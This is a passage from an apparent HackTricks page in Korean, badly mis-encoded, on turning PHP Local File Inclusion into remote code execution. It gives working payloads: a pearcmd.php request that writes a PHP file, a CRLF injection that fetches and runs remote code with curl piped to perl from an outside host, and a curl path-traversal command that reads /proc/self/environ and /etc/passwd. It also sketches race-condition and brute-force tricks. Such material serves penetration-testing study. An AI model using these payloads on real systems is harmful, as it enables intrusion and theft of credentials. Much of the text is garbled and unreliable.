As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Moreover, itโs possible to pass arguments to the script via the URL because itโs indicated that if a URL param doesnโt have an =, it should be used as an argument. See also watchTowrโs write-up and Orange Tsaiโs โConfusion Attacksโ.
The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
๋ค์์ CRLF vuln์ ์ ์ฉํด RCE๋ฅผ ์ป๋ ์์์ ๋๋ค (์ถ์ฒ: here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
phpinfo() (file_uploads = on)์ ํตํด
๋ง์ฝ Local File Inclusion๋ฅผ ๋ฐ๊ฒฌํ๊ณ **phpinfo()**๋ฅผ ๋ ธ์ถํ๋ฉฐ file_uploads = on์ธ ํ์ผ์ด ์๋ค๋ฉด RCE๋ฅผ ์ป์ ์ ์์ต๋๋ค:
compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure๋ฅผ ํตํด
๋ง์ฝ Local File Inclusion๋ฅผ ๋ฐ๊ฒฌํ๊ณ ์์ ํ์ผ์ ๊ฒฝ๋ก๋ฅผ exfiltrateํ ์ BUT server๊ฐ ํฌํจํ ํ์ผ์ PHP ๋งํฌ๊ฐ ์๋์ง checkingํ๊ณ ์๋ค๋ฉด, ์ด Race Condition์ผ๋ก ๊ทธ check๋ฅผ bypassํด ๋ณผ ์ ์์ต๋๋ค:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
eternal waiting + bruteforce๋ฅผ ํตํด
๋ง์ฝ LFI๋ฅผ ์ ์ฉํด ์์ ํ์ผ์ uploadํ๊ณ ์๋ฒ๊ฐ PHP ์คํ์ hangํ๋๋ก ๋ง๋ค ์ ์๋ค๋ฉด, ๊ทธ ํ ๋ช ์๊ฐ ๋์ ํ์ผ๋ช ์ brute forceํ์ฌ ์์ ํ์ผ์ ์ฐพ์ ์ ์์ต๋๋ค:
To Fatal Error
๋ง์ฝ /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar ์ค ํ๋๋ฅผ includeํ๋ฉด ๋ฉ๋๋ค. (๊ทธ ์ค๋ฅ๋ฅผ ๋ฐ์์ํค๋ ค๋ฉด ๋์ผํ ํ์ผ์ 2๋ฒ includeํด์ผ ํฉ๋๋ค).
์ด๊ฒ ์ด๋ป๊ฒ ์ ์ฉํ์ง ์ ๋ชจ๋ฅด๊ฒ ์ง๋ง ๊ฐ๋ฅ์ฑ์ ์์ต๋๋ค.
PHP Fatal Error๋ฅผ ์ผ์ผํค๋๋ผ๋ ์
๋ก๋๋ PHP ์์ ํ์ผ๋ค์ ์ญ์ ๋ฉ๋๋ค.
.png)
ํด๋ผ์ด์ธํธ์์ traversal ์ํ์ค ์ ์ง
์ผ๋ถ HTTP ํด๋ผ์ด์ธํธ๋ ์์ฒญ์ด ์๋ฒ์ ๋๋ฌํ๊ธฐ ์ ์ ../๋ฅผ ์ ๊ทํํ๊ฑฐ๋ ์ถ์ํด์ directory traversal payloads๋ฅผ ๊นจ๋จ๋ฆฝ๋๋ค. ๋ก๊ทธ/๋ค์ด๋ก๋ ์๋ํฌ์ธํธ๊ฐ ์ฌ์ฉ์ ์ ์ด ํ์ผ๋ช
์ ์ฐ๊ฒฐ(concatenate)ํ ๋ traversal์ ๊ทธ๋๋ก ์ ์งํ๋ ค๋ฉด curl --path-as-is๋ฅผ ์ฌ์ฉํ๊ณ , /proc ๊ฐ์ pseudo-files์ ๋ํด์๋ --ignore-content-length๋ฅผ ์ถ๊ฐํ์ธ์:
curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'
../ ์ธ๊ทธ๋จผํธ์ ์๋ฅผ ์กฐ์ ํ์ฌ ์๋ํ ๋๋ ํฐ๋ฆฌ์์ ๋ฒ์ด๋ ๋ค์, /etc/passwd, /proc/self/cwd/app.py ๋๋ ๋ค๋ฅธ ์์ค/์ค์ ํ์ผ์ ๋คํํฉ๋๋ค.
์ฐธ๊ณ ์๋ฃ
- PayloadsAllTheThings
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
- Horizon3.ai โ From Support Ticket to Zero Day (FreeFlow Core path traversal โ arbitrary write โ webshell)
- Xerox Security Bulletin 025-013 โ FreeFlow Core 8.0.5
- watchTowr โ We need to talk about PHP (pearcmd.php gadget)
- Orange Tsai โ Confusion Attacks on Apache
- VTENEXT 25.02 โ a three-way path to RCE
- The Art of PHP: CTFโborn exploits and techniques
- When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
- Positive Technologies โ Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
- HTB: Imagery (admin log download traversal +
/proc/self/environread)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


